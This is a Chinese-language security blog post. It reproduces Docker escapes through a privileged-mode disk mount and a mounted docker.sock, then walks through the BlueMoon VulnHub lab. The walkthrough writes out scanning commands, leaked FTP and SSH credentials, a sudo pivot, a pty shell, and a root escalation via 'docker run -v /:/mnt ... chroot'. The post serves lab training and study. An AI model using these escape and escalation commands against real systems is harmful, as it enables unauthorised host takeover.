您好!欢迎来到北极熊网

北极熊网

热门搜索: 任正非传    神雕侠侣    红楼梦   

从Docker挂载逃逸原理复现分析到BlueMoon实战

  • 今日头条
  • 来源:北极熊
  • 编辑:佚名
  • 时间:2022-05-01 22:19
  • 阅读:182

Docker逃逸

什么是Docker

Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中,然后发布到任何流行的 Linux或Windows操作系统的机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口。正因为docker属于沙箱机制,所以当获得docker容器的权限时与获得宿主机权限是两个概念。

Docker逃逸

配置不当引起的docker逃逸

docket remote api未授权访问导致逃逸

特权模式逃逸

挂载敏感目录

内核漏洞提权实现逃逸(针对Linux内核利于dirtycow、dirtypipe等)

Docker本身漏洞(CVE)

CVE-2019-5736

CVE-2019-14271

这里主要测试挂载卷造成的逃逸,

挂载敏感目录逃逸之特权模式挂载逃逸

实验环境:ubuntu16.04 ,docker 版本 20.10

image-20220330195714493.png

service docker status

image-20220330195801259.png

docker的状态是开启的,未安装docker需要安装。

特权模式下启动一个容器。

docker run -it --privileged ff6f /bin/bash

image-20220330195929458.png

查看docker容器磁盘文件。

fdisk -l

image-20220330200023942.png

正常环境安装的时候也都会创建磁盘文件,所以这些目录下会有很多文件。

ls /dev

image-20220330200309713.png

创建一个目录名为"test",名字任意创建。

mkdir test

此时test目录下无任何文件,将/dev/sda1挂载在test目录下。

mount /dev/sda1 /test

查询test目录。

image-20220330200654233.png

此时例如home等目录下是没有任何文件的。

image-20220330200828481.png

amazing写入/test/home/1.txt

echo "amazing" >/test/home/1.txt

此时宿主机home,目录下是存在1.txt文件的。

image-20220330201310772.png

挂载敏感目录逃逸之docker.sock 挂载

Docker架构相当于C/S架构,docker.sock就是docker中套docker,docker的client和server的通信模式参考。

https://www.jb51.net/article/99019.htm

因为确实找不到什么比较官方或者正式的介绍,华为云的介绍只是介绍了网络通信模式。

socket的连接方式有三种

unix:///var/run/docker.sock
tcp://host:port
fd://socketfd

利用docker.sock逃逸的前提条件

  • 攻击者获得了 docker 容器的访问权限

  • 容器已安装/var/run/docker.sock

使用挂载实现docker.sock,拉取一个镜像ubuntu16.04

docker pull ubuntu:16.04

image-20220330221646544.png

查看镜像

docker images

image-20220330221737120.png

运行一个挂载/var/run/的容器

docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:16.04 /bin/bash

进入docker容器内

apt-get install docker.io

这个时候安装可能报错

image-20220330221950971.png

更新源

apt update

image-20220330222036687.png

更新源之后重新安装docker,因为拉取的ubuntu内未安装docker或者可能是docker版本过老。

apt-get install docker.io

image-20220330222429880.png

查看宿主机信息。

docker -H unix://var/run/docker.sock info

image-20220330222832939.png

利用docker.sock再创建一个docker容器,挂载/var/run

docker -H unix://var/run/docker.sock run -v /:/test -it ubuntu:16.04 /bin/bash

image-20220330222948236.png

此时查看test目录下可看到宿主机文件文件。

image-20220330223102070.png

实现逃逸。这里本来打算使用alpine镜像,这里说说什么是alpine镜像。

alpine(https://www.alpinelinux.org/)是一个官方推荐的基础镜像,大小5MB,相对于ubuntu的大小来说下载方便,但是拉取ubuntu镜像也比较方便。

但是alpine在更新apk的时候,比较慢。

image-20220330224040897.png

所以还是建议使用ubuntu,这里可以利用docker逃逸去复制宿主机的source.list更换源,可能会快一点。

原理

过程可分为两部分

文件写入

将数据写入文件,它可用于执行特权写入或在受限文件系统之外写入文件,通过将文件复制到临时容器并返回到主机上的目标位置来写入文件。

CONTAINER_ID="$(docker run -d alpine)" # or existing
TF=$(mktemp)
echo "DATA" > $TF
docker cp $TF $CONTAINER_ID:$TF
docker cp $CONTAINER_ID:$TF file_to_write

文件读取

它从文件中读取数据,它可用于进行特权读取或在受限文件系统之外公开文件,通过将文件复制到临时容器并返回到主机上的新位置来读取文件。

CONTAINER_ID="$(docker run -d alpine)"  # or existing
TF=$(mktemp)
docker cp file_to_read $CONTAINER_ID:$TF
docker cp $CONTAINER_ID:$TF $TF
cat $TF

二进制文件设置了 SUID 位,会被滥用来访问文件系统、升级或维护特权访问作为 SUID 后门,上面那个复现过程实现了创建二进制文件的本地 SUID 副本并运行它以维护提升的权限,要与现有的 SUID 二进制文件交互,请跳过第一个命令并使用其原始路径运行程序,其最终结果是在容器B中实现了对宿主机权限的控制。

BlueMoon简介

  • Name: BlueMoon: 2021

  • Date release: 7 Apr 2021

  • Author: Kirthik

  • Series: BlueMoon

环境搭建

攻击机kali

IP192.168.158.39

目标靶机Debian,ip地址未知,dhcp自动获取

下载地址

https://download.vulnhub.com/bluemoon/bluemoon.ova

导入虚拟机,官网描述是使用vb,但是vmware可以导入,然而出现问题获取不到网卡

image-20220329111228640.png

信息搜集

netdiscover -n 192.168.248.39/24

image-20220329144101188.png

我使用搞得热点比较容易确定目标靶机,扫描端口

nmap -A -p- 192.168.158.250

image-20220329144239633.png

开放三个端口21,22以及80

image-20220329144006550.png

扫描目录,指纹识别,既然是靶场要考虑到21端口是不是匿名用户或者22和21端口是否能爆破,直接对21和22端口爆破并未有结果,也可能是字典的问题,但是换了几个字典确实没用,扫描目录使用dirsearch扫描目录,内置字典并不能扫描出结果,换字典。

python3 dirsearch.py -u "http://192.168.158.250" -e *

image-20220329150711058.png

image-20220329150725960.png

访问是个二维码,扫描的内容。

#!/bin/bash HOST=ip USER=userftp PASSWORD=ftpp@ssword ftp -inv $HOST user $USER $PASSWORD bye EOF

获取flag

ftp的账号密码

userftp/ftpp@ssword

工具连接或者命令行都可

image-20220329151036922.png

image-20220329151338244.png

information.txt中告诉了,p_list.txt为密码字典,用户名为robin,

image-20220329151425938.png

上级目录中有jerry中有个用户名的txt,但是无法查看文件,使用robin用户爆破

image-20220329155821125.png

账号密码

robin/k4rv3ndh4nh4ck3r

ssh登录

ssh robin@192.168.158.250

ls

cat user1.txt

image-20220329160010391.png

使用命令

sudo -l

image-20220329160548808.png

告诉了jerry权限可以执行/home/robin/project/feedback.sh

横向提权

sudo -u jerry /home/robin/project/feedback.sh

jerry

/bin/sh

image-20220329160839861.png

当前用户为jerry,这个时候我们就可以读取前面不能读取的user2.txt,因为这个时候在home/robin,所以切换用户目录读取或者直接读取文件。

image-20220329161056383.png

垂直提权

给出提示使用find继续提权到root,所以这里应该的考点就是suid提权了,因为不是交互式的shell使用起来不方便,所以使用python获取交互式shell。

python -c 'import pty;pty.spawn("/bin/bash")'

image-20220329161530154.png

查询是否有suid权限的文件

find / -perm -u=s -type f 2>/dev/null

image-20220329161656321.png

find /usr/bin/passwd -exec "/bin/sh" ;

image-20220329162426360.png

无果,,,,纳闷儿了

docker images

docker ps

image-20220329163015078.png

镜像没起起来,搜索一下才知道这里需要使用镜像挂载来进行提权。

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

image-20220329163552186.png

此时已经为root权限,读取根目录下的root.txt

image-20220329163645322.png

结语

这个靶机有点儿不怎么有好的地方在于对于字典的要求比较高,难点在于使用镜像挂载提权,这里可参考文章应该是讲镜像挂载原理比较清晰的文章吧。


全部评论(0)
资讯详情页最新发布上方横幅
推荐阅读
  • 如何使用presshell在WordPress主机上执行Shell命令
  • 如何使用presshell在WordPress主机上执行Shell命令
  • 关于presshellpresshell是一款针对WordPress的Shell工具,该工具可以帮助广大研究人员上传Shell文件,并在WordPress服务器/主机上轻松执行Shell命令。注意,上传Shell的路径为“/wp-content/plugins/shell/shell.php”。工具下载广大研究人员可以使用下列命令将该项目源码克隆至本地:git clone https
  • 技术文档
  • 来源:北极熊
  • 编辑:佚名
  • 时间:2022-05-06 20:36
  • 阅读:243
  • 为什么黑客如此“钟爱”跨链桥
  • 为什么黑客如此“钟爱”跨链桥
  • 0x1背景介绍随着区块链及链上程序的增长,多链资金转换需求迫切,跨链桥业务随之增加,有业务的地方就会有安全问题,跨链桥为用户提供便利的同时,可能也为黑客提供了另一扇大门,PolyNetwork攻击事件发生后,跨链桥安全问题也随之显露出来。0x2什么是跨链桥?区块链桥,也称为跨链桥,连接两条区块链,允许用户将加密货币从一条链发送到另一条链。跨链桥通过在两个独立平台之间启用代币转移、智能合约和数据交换以及其他反馈和指令来进行资金跨链操
  • 技术文档
  • 来源:北极熊
  • 编辑:佚名
  • 时间:2022-05-06 20:34
  • 阅读:181
  • EvilSelenium:一款功能强大的Chromium浏览器渗透测试工具
  • EvilSelenium:一款功能强大的Chromium浏览器渗透测试工具
  • 关于EvilSeleniumEvilSelenium是一款基于Selenium的渗透测试工具,该工具基于武器化的Selenium实现其功能,可以帮助广大研究人员针对基于Chromium的浏览器进行安全分析和渗透测试。功能介绍1、通过autofill获取存储的凭证信息;2、获取Cookie数据;3、获取网站屏幕截图;4、导出Gmail/O365电子邮件数据;5、导出Whats*App消息;6、下载&提取文件信息;7、向GitHub
  • 技术文档
  • 来源:北极熊
  • 编辑:佚名
  • 时间:2022-05-06 20:33
  • 阅读:214
  • 针对贸易行业的情报刺探活动
  • 针对贸易行业的情报刺探活动
  • 概述奇安信威胁情报中心在日常威胁发现过程中发现一个专门针对贸易行业进行攻击的团伙,主要目的为获取情报,攻击手段较为单一,发送带有恶意lnk文件的钓鱼邮件进行传播,今年以来较为活跃,我们将其命名为APT-Q-12。此次攻击捕获的活动样本有如下特点:使用鱼叉邮件投递恶意压缩包,使用LNK文件进行cisid劫持。使用FileRun框架或者第三方平台托管样本攻击成功后使用AES加密进行信息传递。目前无法从C2获取最终的payload,故境内暂无
  • 今日头条
  • 来源:北极熊
  • 编辑:佚名
  • 时间:2022-05-02 21:42
  • 阅读:242
  • 安恒猎影实验室发现蔓灵花APT组织疑似伪装我国攻击孟加拉国
  • 安恒猎影实验室发现蔓灵花APT组织疑似伪装我国攻击孟加拉国
  • 蔓灵花组织介绍蔓灵花(Bitter)是一个被广泛认为来自印度的APT组织,该组织长期针对我国及周边南亚各国的政府、军工、电力、核等部门发动网络攻击,窃取敏感数据,具有较强的政治背景。近期,安恒安全数据部猎影实验室捕获到多个疑似蔓灵花组织的活动样本。该批样本无论在攻击手法或者武器代码等方面都与该组织此前的攻击活动极为相似,延续了其一贯的攻击特征。蔓灵花组织利用得到权限的巴基斯坦、孟加拉国政府邮箱发起网络攻击活动,我们发现其中一处回连域名使
  • 今日头条
  • 来源:北极熊
  • 编辑:佚名
  • 时间:2022-05-02 21:40
  • 阅读:160
联系我们
电话:18936411277
邮箱:1044412291@qq.com
时间:09:00 - 19:00
公众号:北格软件
底部广告